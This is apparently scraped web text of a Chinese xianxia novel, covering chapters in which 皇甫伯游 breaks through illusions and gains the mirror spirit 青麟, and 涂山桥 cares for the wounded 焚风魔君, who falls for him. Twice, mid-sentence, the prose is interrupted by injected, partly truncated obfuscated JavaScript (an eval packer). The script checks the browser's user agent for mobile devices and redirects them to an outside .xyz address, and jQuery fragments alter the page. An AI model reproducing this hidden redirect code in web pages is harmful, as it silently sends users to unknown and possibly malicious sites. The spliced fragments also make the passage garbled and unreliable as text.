谈笑间,天边忽然掠过一抹银白。一朵祥云破开薄雾,缓缓飘落。云头之上,立着个身着靛蓝道袍的少年。晨雾缭绕中,少年眉眼清朗,分明是记忆里初入仙途时的皇甫伯游模样。 云头落下的皇甫伯游不过十七八岁的模样,眉眼间却透着与年龄不符的沉稳。他将一柄寒光流转的宝剑递到林啸手中,声音清润如泉:“师父准我暂回人间修行,往后便在凤凰山落脚,与你一同练剑。” 这话如重锤叩击心门,林啸怔怔望着眼前少年,喉间发紧。这样并肩修行的场景,曾是他无数个深夜辗转反侧的幻想,亦是深埋心底多年的遗憾。指尖抚过剑柄上的纹路,明知是虚妄,却仍贪恋这份虚幻的圆满,不愿戳破眼前的美梦。 15. 道心 皇甫伯游在一片昏暗里缓缓睁眼,身下是粗粝的茅草褥子。环顾四周,屋内陈设简陋至极:木架上摆着几个红陶碗,黑陶罐泛着古朴的光泽,恍惚间,这些物件竟与记忆深处的画面重叠。 那是儿时在人间的家。 作为天生通灵者,他的母亲曾是城邦里备受尊崇的贞人,专司占卜祭祀。在母亲庇佑下,皇甫伯游度过了一段衣食无忧的岁月。然而,新王登基后,因政见不合,竟残忍地处死了母亲。 幸得母亲旧部拼死掩护,他才得以仓皇出逃。那段逃亡的日子里,追兵如影随形,直到躲进那处与林啸初遇的山洞——那时的他走投无路,只能伪装成老虎,才吓退敌人。 “游儿,该起床了,看娘给你带回来什么?”一道温润嗓音穿透岁月尘埃,在耳畔轻轻响起。皇甫伯游浑身一僵,双脚似被钉在地上,再也挪不动分毫。时光的冲刷下,母亲的面容早已模糊不清,唯有那段记忆,依旧鲜活如初——那年母亲随大王狩猎归来,带回一只软乎乎的小豹猫,说是送给他的礼物。 那只小豹猫野性未脱,浑身透着股不服输的劲儿。即便被圈养在府中,仍时常亮出利爪,将皇甫伯游的手臂抓出道道血痕。即便如此,他仍悉心照料,直到有一天,看着小豹猫望向山林的眼神,他终于明白,有些生命注定属于自由,最终忍痛将它放归自然。 随着细碎的脚步声由远及近,木门“吱呀”轻响。皇甫伯游抬眼望去,只见记忆中年轻貌美的母亲跨门而入。他唇角泛起一抹苦笑,指尖微动间已掐出法诀,清喝声裹挟着灵力震荡开来:“天道轮转,日月明灭,破虚妄,见本真!”刹那间,茅草屋连同周遭景致如镜花水月般轰然碎裂,化作点点流光消散于虚空。 然而,幻境并未就此终结。下一刻,他竟置身于熟悉的凤凰山林间,不远处,化为人形的少年林啸正与天琅、陆蒙相谈甚欢。林啸望见他时,眼睛亮如星辰,热情邀他留下长住。皇甫伯游阖眸敛神,周身腾起青芒,口中念念有词:“万象皆虚,本心为引,破!”随着最后一个字落下,眼前场景再度扭曲崩解,化作漫天飘散的幻象尘埃。 幻象如潮水般层层叠叠涌来。忽而他重回天界,在师父座下刻苦修行;忽而与林啸并坐在琅嬛洞天的古籍堆里,借着摇曳烛火偷读禁书;忽而又置身于灵气翻涌的秘境,感受突破境界时的磅礴力量;甚至连求而不得的绝世仙剑,都在幻境中化作流光落入掌心。 无数令人迷醉的场景轮番上演,每一幕都精准戳中他心底最柔软的渴望。但皇甫伯游神色始终冷毅,指尖法诀翻飞如蝶,无论幻象如何诱人,皆被他以雷霆之势瞬间破除。 当最后一层虚幻如薄纱般撕裂消散,刺骨寒意裹挟着潮湿气息扑面而来。皇甫伯游缓缓睁开眼,发现自己正置身于一处幽深的石洞内,洞顶垂下的钟乳石滴着水珠,在寂静中敲出清脆声响。 “咦!是哪位英雄闯过试炼啦?”一道清亮的声音突然响起。只见一个身着黄铜色衣衫的少年蹦跳着奔来,十六七岁的眉眼间透着股灵动劲儿,发间还别着片翠绿的鳞片装饰。 皇甫伯游目光微凝,少年眉眼间隐约与双鸾有几分相似,心中顿时了然——这便是另一面阴阳镜的镜灵。 “你可是阴阳镜所化?”他沉声道。 “什么另一面不另一面的!”少年眨着亮晶晶的眼睛,伸手晃了晃腰间的玉坠,“我叫青麟!在这湖底孤零零待了上万年,可算盼到主人啦!”说着,他主动凑到皇甫伯游跟前,笑容灿烂,“从今天起,你就是青麟唯一的老大!” “好。”皇甫伯游微微颔首,眼中闪过一丝疑惑,“只是,为何万年间唯有我能破除这些幻境?” 青麟晃了晃发间翠绿的鳞片,狡黠一笑:“主人有所不知,踏入烛九阴秘境的人哪个不是怀揣私心?心底藏着执念,哪能轻易挣脱幻象的牢笼?” 皇甫伯游神色一凛,想起仍被困在幻境中的故人,立刻追问:“青麟,既是认我为主,你可还有法子解开封印?我有位挚友至今陷在幻境里……” 青麟双眉微蹙,闭眼凝神片刻,睫毛轻颤着睁开:“主人,幻境内竟有三道灵息波动……”他语调迟疑,眼底泛起困惑,“只是难以分辨,不知哪位才是你挂念之人?” 皇甫伯游神色骤变,眸中惊色一闪:“你说什么?为何会有三人?究竟是哪三人被困其中?”话音未落,他已向前半步,周身气息不自觉紧绷起来。 青麟指尖轻点眉心,双目微阖。片刻后,他睫毛轻颤睁开眼,神色凝重道:“主人且宽心,幻境中确有三人——其一修为深不可测,气息似是魔头,实力竟在主人之上,此刻与一狐妖并肩;另一边则是虎妖,灵识清明已破虚妄,却……”他话音一顿,眼中泛起疑惑,“似是甘愿沉溺幻境,迟迟不肯脱身。” 皇甫伯游轻轻叹了口气。 青麟突然神色骤变,眉头拧成死结:“不对!这幻境深处竟有双鸾的气息!”他指尖快速掐算,瞳孔猛地收缩,“她曾传音于我,说被焚风魔君禁锢!若这魔头真是焚风,我能以本命灵力封住幻境,让他永世困在虚妄之中!” “万万不可!”皇甫伯游几乎是脱口而出。 青麟睁圆了眼睛,发间鳞片随动作轻晃:“为何?双鸾说为了诛杀此魔,你们甘愿以命相搏。主人既已得我相助,为何反倒不愿斩草除根?” “大义虽重,却不能替他人做选择。”皇甫伯游目光坚定,“若强行替人抉择,与那些践踏苍生的魔头又有何分别?” 青麟挠了挠发间翠绿的鳞片,恍然颔首:“原来如此!青麟被困湖底万年,不通人情世故,倒是莽撞了。只是若不关闭幻境,主人也将被困于此。唯有幻境彻底消散,方能脱身。” 皇甫伯游沉吟片刻,神色凝重:“你既能感知幻境内情形,可知他们三人何时能自行破境而出?” 青麟无奈地叹了口气,眉眼间满是困惑:“实难判断。那虎妖灵智通透,分明早已勘破虚实,却困在往昔温情里,不愿醒来;焚风魔君陷入的幻境最为凶险,正一遍遍重复着他最深的恐惧;最离奇的是那狐妖,明明与幻境无关,却因为被魔君生生拽入,只能如看客般,旁观魔君在幻境中所作所为。” 皇甫伯游叹了口气,又问道:“青麟,你可有办法联络上幻境内的人?” 青麟挠了挠头,发间鳞片跟着晃动:“法子倒是有,只是我灵力微薄,怕是难以奏效。以主人的修为本可一试,但需修炼烛九阴大人留下的玄天秘法中的幻息术,方能穿透虚实屏障。” “真的有玄天秘法?”皇甫伯游大惊。 “自然是真!”青麟语气透着几分骄傲,“烛九阴大人将玄天秘法传给我与双鸾,只是我俩资质愚钝,至今才修得天境中期。” 他眨了眨眼睛,又压低声音道:“双鸾曾说,前些年有个叫顾惊澜的,靠着这秘法,短短半年就从玄妖境初期跃至中期!”话音一转,少年模样的镜灵歪头打量着皇甫伯游,“不过秘法玄妙非常,也不知主人的根骨是否契合。” “自然契合。”皇甫伯游淡淡一笑:“你将玄天秘法传与我罢。” 暮色下,少衡与少兰立在湖边,望着翻涌的湖水眉头紧锁。 少兰轻轻叹了口气:“也不知道阿桥现在怎么样了……” 十天前的景象仍历历在目。焚风魔君现身湖边,周身魔气翻滚。就在陷入迷雾的刹那,他甩出一道由魔力凝成的锁链,寒光一闪,涂山桥躲避不及,被狠狠拽入迷雾之中,消失得无影无踪。 少衡望着湖面,语气沉稳:“阿姊不必忧心。至今没有动静,反倒说明焚风魔君尚未寻得阴阳镜。只要他一无所获,阿桥和其他人就还有生机。”融合巫罗身躯后,少衡的眉眼间多了几分与年龄不符的沉着。 少兰闻言心下稍安,却仍难掩眼底忧色:“但愿如此。可若让他集齐阴阳镜,突破至混元古魔……罗刹谷、人间、妖界,都将面临一场浩劫。” 话音未落,湖面突然炸开一声巨响。一道巨型水柱冲天而起,裹挟着翻涌的水汽与轰鸣声,如同一头觉醒的巨兽,朝着岸边汹涌扑来。 巨型水柱轰然砸落,少衡与少兰旋即飞遁退避百丈之外。两人心有余悸,生怕沾染水汽,被卷入未知幻境。 “这水浪怎会来得如此突然?”少兰望着翻涌的湖面,满脸困惑。 少衡神色一凛,巫罗残留在体内的神识突然传来波动,他瞬间反应过来:“阿姊,有人冲破境界了。” 少兰脸色骤变,声音都带上了颤音:“什么?!不会是焚风魔君冲破混元古魔境了吧!” “应当不是,这是金仙境、神魔境或者玄妖境破境才会产生的气息。”少衡说道。 水下四人之中,林啸灵力衰退、涂山桥身受重伤、焚风魔君再往上突破只能是混元古魔境。因此,破境之人应当是原本就为太乙金仙境的皇甫伯游,那也就意味着,他此刻已经是太乙金仙境后期。 “太好了,这么说来,皇甫上仙与焚风魔君是同阶修为了。”少兰大喜。 “同阶却有差距,一个初入后期,一个处于巅峰。”少衡神色沉稳,“但加上我们相助,足以抗衡焚风魔君。” 水底,青麟向刚出定的皇甫伯游躬身道贺:“恭喜主人突破境界。” 皇甫伯游神色淡然,薄唇轻启:“青麟,是时候将幻息术传与我了。” 凤凰山巅,少年林啸与皇甫伯游执剑相峙。一旁的天琅负手而立,每逢局势胶着,便适时出言点拨。这场比试从晨光熹微战至暮色四合,始终难分高下。而天琅却优哉游哉地置好茶席,慢条斯理地品茗尝果。 终于,二人力竭罢手。 “天琅大哥,再这么指点下去,咱们怕是三日三夜也难见分晓。”林啸拭去额间薄汗,无奈笑道。 天琅抛来两个梨子,挑眉道:“这可怪不得我。伯游已是天仙之境,你不过地境初期,能僵持至今, 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“阿啸,但你知道那是假的,你知道天琅大哥被困魔界、陆蒙大哥寿元已尽,而我——皇甫伯游,的确与你少年时有几百年未见。我也希望年少时你我并未分离,但若如此,琅嬛洞天相遇、不周山昆仑山采药、雷霆秘境探险也就不会发生,对不对?梦境成不了真实,是因为你知道那是假的。人生,必然有遗憾,但即便是遗憾,也是你我的人生。” 林啸若有所思,郑重一揖:“多谢伯游哥点醒,是我执念太深了。” 话音未落,一股无形漩涡骤然席卷而来。 林啸下意识握紧皇甫伯游的手,却还是被一股无形的力量牵引至空中。 待二人落地,已恢复青年模样。林啸因灵力衰退,修为跌落至地境初期。脚下传来硌痛之感,低头望去,竟是白骨堆积如山,延绵至视野尽头! “这是……”林啸骇然后退,下意识靠向皇甫伯游。 “莫慌。此地魔气四溢,不见星辰,应当是魔界。”皇甫伯游神色镇定,目光如炬。 “可我们为何会在此处?” “除了你我,此地还有焚风魔君与涂山桥。那魔君罪孽深重、执念极深,在脱离你的幻境后,反而坠入了自己的幻境,倒也合乎情理。” 林啸了然,抬头环视四周,发觉此地的风太大,裹挟着砂石,刮到脸上有点疼。 “抓紧我。”见林啸白皙面庞被砂石划出细痕,皇甫伯游立刻牵住他的手,一道淡蓝色屏障将二人护在其中。 远处山峦起伏,山后或许能暂避罡风。二人相互搀扶,朝着山峰走去。 “我如今虽灵力衰退,也有地仙境界,这是什么风,怎么这般厉害?”林啸面带疑惑,一只手接过皇甫伯游的白帕,擦了擦脸上血丝。 ““我听师父提起过,魔界有一种罡风,可以将人血肉生生刮得消融,这些白骨,想必便是由此而来。”皇甫伯游望着满地骸骨,眼底满是悲悯。 “伯游哥心怀苍生,不愧是慈悲上仙。” “师父曾说,“天上多一神仙,不如人间多一圣人。”我以前还不明白,可今日看到这累累白骨,才觉得我辈修士,若是在天上待久了,真的不知道下界众生,竟活得如此艰辛痛苦。”皇甫伯游感慨说。 “伯游哥,我在罗刹谷密室时,就听说这十年间,你一直降妖伏魔,你已经做得够好了。”林啸温声安慰。 “阿啸,你知道么?我不久前刚突破到太乙金仙境后期。”皇甫伯游突然问。 “那便恭喜伯游哥了,等咱们出去,好好庆贺一番,你不知道,我这些年攒了许多好吃好玩的。就等着你来了一同分享呢。”林啸展颜一笑。 “阿啸,你说我们修行的意义是什么?”皇甫伯游轻轻叹了口气。 林啸并未回答,而是转过身,正面皇甫伯游,盯着对方的眼睛,等待好友继续说。 “阿啸,太乙金仙境后期之上,便是混元大罗金仙境界。古往今来,达到此境界的修士寥寥可数,且俱为先天神祇。愚兄不才,曾被多位祖师看好是最有希望突破此境界的人族修士。” “但天道不仁,以万物为刍狗,有条铁律——大罗金仙不得插手世间因果。况且,还未隐退的大罗金仙,都身居要职,根本不可能脱身。” “可是,焚风魔君这样的神魔境后期修士有谁能降服?魔界普通生灵何辜,竟然被罡风生生吹得血肉消融?” 皇甫伯游神色决绝,一字一顿道:“阿啸,我不想再往上修行了!” “好!”林啸紧握皇甫伯游双手:“无论你想做什么,阿啸定全力支持!” “阿啸,也许离开烛龙秘境后,我想去现实中的魔界看看,若魔界生灵果真如此艰难,我想尽我所能相助。”皇甫伯游说道。 “好!”林啸坚定说道:“魔界千难万险,你若舍身救天下人,我定舍身救你!” 皇甫伯游闻言,轻轻捂住林啸的嘴:“什么舍身不舍身,别说这么不吉利的话。” “好!”林啸拨开皇甫伯游的手,莞尔一笑。 皇甫伯游突然愣住,幽幽叹了口气。 林啸不明白皇甫伯游为何叹气,只是拉住好友的手,在罡风中,缓缓前行。 16. 使命 罡风呼啸中,二人跋涉良久,终于抵达山下。抬眼望去,山体凹陷处赫然露出一个山洞,显然是躲避罡风的绝佳之所。 山间风力稍减,两人却仍紧握彼此的手,踩着碎石缓缓向上攀爬。待行至洞口,脚步同时顿住——凭气息感知,洞内显然有人。 皇甫伯游指尖轻捻,玄奥法诀流转,瞬间解开洞口隐匿的禁制。 二人刚踏入洞穴,一道红影裹挟着凛冽剑气疾射而来。剑锋将至身前三寸时,来人猛然收势,剑锋微颤:“皇甫上仙?还有……林啸?” 涂山桥黑琉璃般的瞳孔剧烈震颤,目光死死锁定林啸的面容,指尖无意识摩挲着剑柄:“我们果然生得相像……” 林啸见是涂山桥,不由得打趣,“阿桥,既然你我如此相像,不如亲上加亲,结拜兄弟吧?” “我拒绝!”涂山桥断然回绝。 林啸正要再开口,皇甫伯游已凝眉望向洞穴深处:“洞内尚有一人气息,可是焚风魔君?” 涂山桥神色一凛,缓缓点头。他叹了口气,于将被困魔界后的种种遭遇,缓缓道来。 原来,这竟是万年前,魔界建立之初。 焚风魔君的原身是位魔族首领,他临死前,利用保存的烛龙之力,创造了焚风魔君,给他起名叫做邢戚。 邢戚诞生那刻起,便知道自己的使命是率领众魔攻陷人间,夺回天界。 可众神早有防备,在魔界施加无数符咒禁制,这些术法造成的结果是,魔界的天地气息彻底紊乱,罡风、雷暴、严寒、酷暑、地裂、陨石雨、火山喷发、禽兽和植物变异……种种灾难频发。 魔界修士自顾不暇,哪里有余力卷土重来,去为祸人间? 可邢戚不明白,因为他的使命便是率领众魔夺回人间。 因此,他强掳许多魔族,逼迫大家离开魔界去人间。 可是,这些魔族修为平平,大多数都在穿越魔界与人间边界时,殒命于雷霆烈火之中。 侥幸存活下来的,也偷偷逃脱。 如此数十年过去,邢戚竟然成为了魔界公敌,到了人人喊打的地步。 只不过,神魔境后期的修为还在,也没人能奈何他。只是,前不久,其它魔族长老联手,将邢戚打成重伤。 涂山桥来到这里后,恰好看到焚风魔君伤痕累累,被众魔扔在罡风肆虐的焚风之野。 涂山桥自然将焚风魔君嘲讽一番。 可是焚风魔君告诉涂山桥,“我生来的使命便是复兴魔界、占领人间、夺回天界。因此,不得不这么做。” 焚风魔君此时仍有幻境前的记忆,他问涂山桥,“你身为影身,难道不急于完成自己的使命吗?你应当知道,若影身背弃自己的使命,便会逐渐消散于世间。” 涂山桥告诉焚风魔君,“实不相瞒,我的使命便是刺杀你。但我现在不愿意这么做,一则你现在太弱,二则老子可不愿意遵循什么使命?谁规定影身必须完成使命了?” 焚风魔君看着涂山桥仰天怒骂,怔怔出神:“可你不怕消散于世间么?” 涂山桥挑眉一笑:“若从来就没有真正活过,何惧死?” 焚风魔君第一次看到涂山桥这层面目,有些失神,他轻声说道:“我派人调查过你,还以为你只是长袖善舞、善于逢迎的魅妖而已,没想到你骨子里,竟然是条汉子!” 涂山桥哈哈大笑:“邢戚,其实我原本也不知自己这样,直到前些天看到林啸,我才明白,其实我原本也想做个坦荡磊落的人。横竖现在是幻境,我就随性而为一次。” 焚风魔君诧异:“你想怎样?” 涂山桥微微一笑,扶起焚风魔君,背着他向山洞走去。 “你这是……,要救我?你为何要救我?”焚风魔君大惊。 “我说了,我不想做一个只能顺从使命的影身,我偏偏要救你一次。”涂山桥说道。 “可是,我杀了少衡,我屠戮无数罗刹谷魅妖和涂山狐族,你不会觉得……”焚风魔君依然不解。 “邢戚,你别忘了,现在是万年之前,还没有焚风魔君这个称号,你也没杀过这些人。你现在,只不过是被众魔抛弃的可怜人而已。”涂山桥提醒。 焚风魔君陷入沉默,涂山桥还以为对方失血太多昏迷过去,可是将人背到焚风洞才发现,这个黑衣魔君一直发呆地看着他。 “诶?你怎么了?”涂山桥将人放在一处柴草铺好的垫子上,诧异询问。 焚风魔君低头看了看身下的柴草。 涂山桥还以为是这魔头对柴草有什么不满,“可惜我没有原身那么会过日子,储物袋里没有铺盖,魔君大人将就一下吧。” 焚风魔君抬头看向涂山桥:“你为何对我这么好?” 涂山桥闻言,蹙起秀气的眉头,疑问道:“这算好吗?我是觉得你被其它妖魔如此对待,多少有些冤枉。反正你也死不了,不如让你好受一点。” 涂山桥说完笑了笑,冲焚风魔君眨了眨眼睛:“没想到魔君大人也有如此狼狈的时候……” 焚风魔君看着涂山桥的笑容,突然愣住,心神一恍,一种从未有过的感觉在心头升起。 “对了,在你原本的记忆里,如果我没出现,你是怎么挨过去的?”涂山桥突然有些好奇。 焚风魔君看着涂山桥明亮的眼睛,突然有些不自在,他将目光转移到别处,平淡说道:“我原身是先天古魔,因此我体质特殊,吹了三个月罡风后,确实血肉消融,只剩白骨,但风停之后,暴雪袭来,我在雪层之下,又慢慢生出血肉……” 片刻沉默,焚风魔君随即感到手背被人握住,耳边响起轻柔的问候:“那很疼罢……” 焚风魔君不知为何,心头又是一阵怪异的感觉涌起,他不由自主回头看向涂山桥,鬼使神差地说道:“不疼,你别担心。” “怎么可能不疼?”涂山桥一脸不可思议,思忖道:“莫非是先天魔体,痛觉也异与常人?” “嗯……,其实是我忘了,毕竟已经上万年了。”焚风魔君盯着涂山桥说道。 涂山桥点点头,随即从储物袋中取出几粒疗伤药,喂给焚风魔君服下。 焚风魔君此刻面色苍白,映着一身黑衣,更显得虚弱,涂山桥让张嘴就张嘴吃药,显得竟然有几分乖顺。 涂山桥想到这里,不禁笑了笑。 “你笑起来真好看。”焚风魔君看着涂山桥,这句话下意识脱口而出,随即自己也愣住了,他以前从来不在意谁长得好看。 “哈哈哈,”涂山桥闻言大笑:“你还说我长袖善舞、谄媚逢迎,怎么?人在屋檐下不得不低头吧!堂堂焚风魔君,竟然也有一天会阿谀奉承?” 焚风魔君突然面色微红,否认说:“我不是这个意思。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522539|170601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“那是几个意思?”涂山桥凑近焚风魔君面前,戏谑问道。 焚风魔君睁大眼睛,一时间无话可说。 涂山桥戏弄了魔君,感到心满意足,就到一旁打坐去了。 焚风魔君却翻来覆去,皱眉想了好久才睡着。 这样过了几日,涂山桥每天给焚风魔君喂药,后者以惊人的速度好转起来。 但焚风魔君还坚持在洞穴疗伤,不出山洞。 涂山桥无奈,毕竟这里是焚风魔君的幻境,破除幻境,还要靠这个魔君的心情。 只是没想到,皇甫伯游和林啸会过来。 涂山桥将这些天发生的事情简略告知两人,林啸和皇甫伯游全都心生疑虑:“寻常人的幻境都是美好的东西,这魔君怎么这般古怪,专挑自己最惨的时候?” 林啸想到这里,就把心中所思说了出来。 涂山桥闻言解释说:“邢戚说过,他原本在被罡风之下,悟得了焚风魔功的一些要义。又在雪层下生长血肉时,觉醒了先天古魔的一些神通,所以很怀念这段时光。” 林啸听完之后疑惑不解,简略点评:“那他可真是个受虐狂。” 涂山桥闻言笑了笑,“其实我也这么想,但邢戚却笑着说希望我一辈子也不明白。” 话音刚落,林啸和皇甫伯游相互对视一眼。 林啸随即惊异问道:“焚风魔君竟然会笑?” 涂山桥明白林啸为何诧异,毕竟他之前探听的消息,也是焚风魔君表情冷漠,除去一些狂笑讥笑之外,从未正常笑过。 “可能是在环境中,心境反而放松了罢。” 涂山桥推测说。 皇甫伯游心中一沉,直觉此事并不简单。 不多时,涂山桥将两人引至洞内,没想到焚风魔君早就感知到来人,早已经穿戴整齐,负手迎面而立。 “你们找本座有何事?”焚风魔君走到涂山桥身侧,质问皇甫伯游。 “我是来唤醒魔君的。”皇甫伯游直截了当说道。 “本座想来就来,想走就走,用不着你来唤我。”焚风魔君说道。 “伯游哥,那咱们走罢!”林啸拉起皇甫伯游袖子转身欲走。 “你这小妖,长得倒真有几分像阿桥。”焚风魔君看了眼林啸,不禁感慨。 “我们长得一样好吧!”林啸忍不住吐槽。 “魔君,你不是想把人间炼化为魔界吗?难道想在幻境中炼化?”皇甫伯游逼问。 焚风魔君此刻突然想起还有面阴阳镜需要出去拿,只是恐怕离开幻境后,就又要与涂山桥为敌了。 焚风魔君的眼神微不可查地瞥了眼涂山桥,随即又看向皇甫伯游:“出去可以,我要个人质才放心,不如……,不如让阿桥跟着我罢。” “咦~,要人质的话,怎么也该选我呀!”林啸怀疑地看了眼焚风魔君:“谁都知道伯游哥最在乎我了。” “阿啸你少说两句。”皇甫伯游汗颜。 “你这魔君,我照顾你多日,竟然要抓我做人质,你当真狼心狗肺!”涂山桥也忍不住说道。 焚风魔君淡淡一笑:“本座就喜欢强人所难。” 话说到这里,焚风魔君一把拉过涂山桥,问皇甫伯游,“上仙,本座已经放弃这个幻境,如何破除?” 皇甫伯游随即掐诀念咒,片刻之后,周遭景致碎为泡影。 17. 动情 湖面雾气散尽,四人身影显露。焚风魔君环视四周,见不再有水雾产生,眉头紧蹙,目光如炬,厉声质问皇甫伯游:“难不成,你已经得到了另一面阴阳镜?” 皇甫伯游神色自若,缓缓点头:“青麟已然认我为主。不仅如此,我亦刚刚突破至太乙金仙境后期,如今,总算有资格与魔君一战了。” 在湖边的少衡与少兰见状,也飞身到皇甫伯游身侧。 少兰见焚风魔君拽着涂山桥的袖子,厉声说道:“魔君,你放了阿桥。” “兰姐姐,先前我已答应做人质。不必担心,魔君不是言而无信之人。”涂山桥回答。 “阿桥,兰姐姐对不住你。”少兰面带惭愧,又对焚风魔君喊道:“魔君,有什么冲我来,阿桥还小,不如将我换做人质如何?” “你不行!本座只要阿桥!”焚风魔君说道。 “哈哈哈,”少兰仰头大笑,故意嘲讽道:“没想到不可一世的焚风魔君,居然也有一日要倚仗人质,当真是让人耻笑。” 焚风魔君一脸不以为然:“本座知道你在出言相激,我偏不上当!” “你这魔头……”少兰正要开骂,却被少衡一手拉住。少兰诧异地回看少衡,却见对方眼神似有深意,于是遂不再说话。 “皇甫伯游,你我终有一战,不如三日后,在魔界焚风之野,如何?”焚风魔君突然发起战书。 “魔君是想把阴阳镜作为输赢的赌注?”皇甫伯游立即明白焚风魔君的意思。 焚风魔君负手而立,衣袍在风中猎猎摆动:“不错!本座若输了,便将双鸾镜让与你。上仙若输了,就把青麟镜交予我。” “好,一言为定。”皇甫伯游抬手,与焚风魔君击掌立誓。 涂山桥开口询问:“既然约好三日后在魔界一战,可现下要如何离开秘境?” “手持阴阳镜,便能在烛龙秘境来去自如。”皇甫伯游取出青麟镜,焚风魔君也祭出双鸾镜。刹那间,强光迸发,几人身影转瞬消失在水面之上。 密室昏黄的烛火摇曳,皇甫伯游、林啸、少兰、少衡四人的身影在石壁上投下晃动的剪影。少兰猛然转身,目光灼灼盯着少衡:“阿衡,方才在秘境里,你为什么拦着我?” 少衡垂下眼眸,轻轻叹了口气,嘴角勾起一抹苦笑:“阿姊,你可还记得,当年我在焚风魔君身上种下的情毒?” 少兰眉头微蹙,神色满是不解:“当然记得。可与这有什么关联?难不成那魔头还会被情毒反噬?这可是我听过最有趣的笑话……” 但少兰刚笑了两声,就笑不出来了,因为她看到自己弟弟凝重的神色。 意识到此事并非玩笑,少兰艰涩开口:“怎么了,阿衡?焚风魔君看上谁了?”尾音不自觉上扬,带着连她自己都未察觉的颤抖。 少衡复又轻轻叹息一声:“阿姊,我还说过,辛青曾传授我一些感知人情欲的功法,方才在湖面上,焚风魔君说道“本座只要阿桥”时,分明是动了情的!” “什么?!”少兰和林啸同时惊呼出声,脸上满是难以置信的神色。 少兰仍未从震惊中缓过神,神情呆滞,喃喃自语:“不过,若真是这样,阿桥算不算完成使命了?当初炼化他时,不就是要他去魅惑焚风魔君吗?” 少衡轻叹一声,语气里满是无奈:“我也说不准。” 这时,皇甫伯游似是想起什么关键之事,转头看向少兰,神色凝重地问道:“你可知,影身完成使命后,会有什么后果?” 少兰缓缓摇了摇头,眼神茫然:“我不知道。” 皇甫伯游盯着少兰的眼睛,正色说:“我来天马山之前,听巡护度朔山的仙官说,魅妖少兰不见了。在度朔山重重封印禁制下,天境中期修为的妖魔不可能逃脱,所以我刚开始还以为魅妖少兰被其它妖魔杀死,现在看来……” “你的意思是?!”少兰忍不住惊呼。随即如同失魂落魄一般顿住,神色泫然若泣,“阿桥,姐姐对不住你。” 此时,传来青麟清脆的少年音:“主人猜的没错,影身完成任务后,的确会慢慢消失。但是多久消失,也要视情况而定。” 洞顶的水滴缓缓落下,一时默默无言。 “不如,我们去魔界看看?”林啸提议说。 “阿啸,你现在法力尚未恢复,不便去魔界。”皇甫伯游出言制止。 少兰平复好心情,郑重对少衡说:“阿衡,你留下看护罗刹谷,我与上仙去趟魔界。” 少衡刚复活不久,如今同林啸一样,也需要静坐调息,恢复法力,于是点点头。 林啸知道自己现在的实力,也只好叹了口气,认真地与皇甫伯游说:“伯游哥,你保重,若你三天后还没回来,我定然去魔界寻你。” 皇甫伯游闻言,想到焚风魔君一心只求复兴魔界,恐怕这一战会拼尽全力。焚风魔君虽说动了情欲,魔功会有所削弱,但原本的实力太过强横,料想此战定然凶险无比,也许是有去无回。 想到这里,皇甫伯游与少衡传音:“还请少衡长老拦住阿啸,不要让他去魔界。” 少衡颔首,传音道:“我自当全力阻拦林兄,只是他天境后期修为深厚,待其功力尽复,我恐难匹敌。” “等他功力恢复,去魔界倒也无妨。” 少衡了然,郑重地点点头。 林啸见二人眼神暗通,便知是在传音交谈。虽听不见内容,却也能猜出一二,当下开口道:“伯游哥,我心中自有分寸。若你未归,我定等功力全然恢复后再前往魔界。只是……你不留封书信么?或许我还有机会再见到帝君。” 皇甫伯游应了声“好”,握住林啸手掌。 …… 魔界深处,焚风魔宫之内,涂山桥倚坐在茶几旁,正专注地与自己对弈。不远处,焚风魔君三言两语便将事务向手下交代完毕。 待左右退下,焚风魔君缓步走到涂山桥对面落座,指尖随意拈起一枚黑子,落子在棋盘上。 “邢戚,你掺和什么!我本打算让白子取胜的!”涂山桥微蹙眉头,语气里满是责怪。 焚风魔君淡淡一笑,抬手轻拂棋盘,刹那间光芒流转。待光华消散,棋盘上黑白棋子已然重新排布,原本的黑子化作白子,白子则变成黑子。 “这样,白子就能赢了罢?” 涂山桥扬了扬眉毛,朝焚风魔君满意地笑了笑。 焚风魔君的目光被那抹笑意牢牢攫住,一时竟失了神。 待涂山桥将被白子围困的黑子尽数收入棋盒,才抬眸撞上对方怔愣的视线。他眉梢轻挑,语气带着几分诧异:“你盯着我做什么?可是有话要说?” 焚风魔君骤然回神,喉间轻咳一声,随口抛出个问题:“今夜想歇在哪个宫殿?” 涂山桥神色微动,眼底泛起几分意外:“我既已是人质,竟还有挑选住处的余地?” 焚风魔君不自然地轻咳一声,目光游移,语气生硬:“我……本座不过是念在你于幻境中救过我,才予你几分优待。” 涂山桥眼中闪过讶异:“倒没想到,你竟还懂得知恩图报,算不得全然冷血,但为何偏偏视人命如草芥?” 焚风魔君神色一冷,语调毫无温度:“人类不过是神捏造的产物,在本君眼中,与蝼蚁何异?何须珍视?” 涂山桥幽幽一叹,目光恳切:“若当初救下你的,只是个普通凡人,你又当如何?” “救我之人,本座自会心怀感激。”焚风魔君不假思索,冷声回应。 “若那人类请求你不再杀人呢?”涂山桥追问。 焚风魔君神色冷峻,语气斩钉截铁:“办不到。魔族重返人间是我毕生使命,谁也无法阻挡。” 涂山桥闻言,握住焚风魔君的双手,郑重说道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526655|170601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身为影身,我理解你,但出生那一刻起,你就对自己的人生掌握完全的主动权,不必顺从什么所谓的使命。” 